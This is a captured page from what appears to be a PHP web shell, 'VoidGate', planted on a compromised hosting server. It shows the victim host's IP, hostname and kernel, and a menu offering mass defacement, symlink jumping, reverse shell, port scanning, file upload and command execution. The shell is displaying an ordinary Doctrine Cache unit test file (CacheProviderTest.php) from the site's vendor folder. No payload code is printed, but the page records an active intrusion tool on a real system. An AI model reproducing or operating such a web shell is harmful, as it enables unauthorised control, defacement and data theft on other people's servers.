ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
doctrine
/
cache
/
tests
/
Doctrine
/
Tests
/
Common
/
Cache
/
Viewing: CacheProviderTest.php
<?php namespace Doctrine\Tests\Common\Cache; class CacheProviderTest extends \Doctrine\Tests\DoctrineTestCase { public function testFetchMultiWillFilterNonRequestedKeys() { /* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */ $cache = $this->getMockForAbstractClass( 'Doctrine\Common\Cache\CacheProvider', array(), '', true, true, true, array('doFetchMultiple') ); $cache ->expects($this->once()) ->method('doFetchMultiple') ->will($this->returnValue(array( '[foo][1]' => 'bar', '[bar][1]' => 'baz', '[baz][1]' => 'tab', ))); $this->assertEquals( array('foo' => 'bar', 'bar' => 'baz'), $cache->fetchMultiple(array('foo', 'bar')) ); } public function testFailedDeleteAllDoesNotChangeNamespaceVersion() { /* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */ $cache = $this->getMockForAbstractClass( 'Doctrine\Common\Cache\CacheProvider', array(), '', true, true, true, array('doFetch', 'doSave', 'doContains') ); $cache ->expects($this->once()) ->method('doFetch') ->with('DoctrineNamespaceCacheKey[]') ->will($this->returnValue(false)); // doSave is only called once from deleteAll as we do not need to persist the default version in getNamespaceVersion() $cache ->expects($this->once()) ->method('doSave') ->with('DoctrineNamespaceCacheKey[]') ->will($this->returnValue(false)); // After a failed deleteAll() the local namespace version is not increased (still 1). Otherwise all data written afterwards // would be lost outside the current instance. $cache ->expects($this->once()) ->method('doContains') ->with('[key][1]') ->will($this->returnValue(true)); $this->assertFalse($cache->deleteAll(), 'deleteAll() returns false when saving the namespace version fails'); $cache->contains('key'); } public function testSaveMultipleNoFail() { /* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */ $cache = $this->getMockForAbstractClass( 'Doctrine\Common\Cache\CacheProvider', array(), '', true, true, true, array('doSave') ); $cache ->expects($this->at(1)) ->method('doSave') ->with('[kerr][1]', 'verr', 0) ->will($this->returnValue(false)); $cache ->expects($this->at(2)) ->method('doSave') ->with('[kok][1]', 'vok', 0) ->will($this->returnValue(true)); $cache->saveMultiple(array( 'kerr' => 'verr', 'kok' => 'vok', )); } }
Coded With 💗 by
0x6ick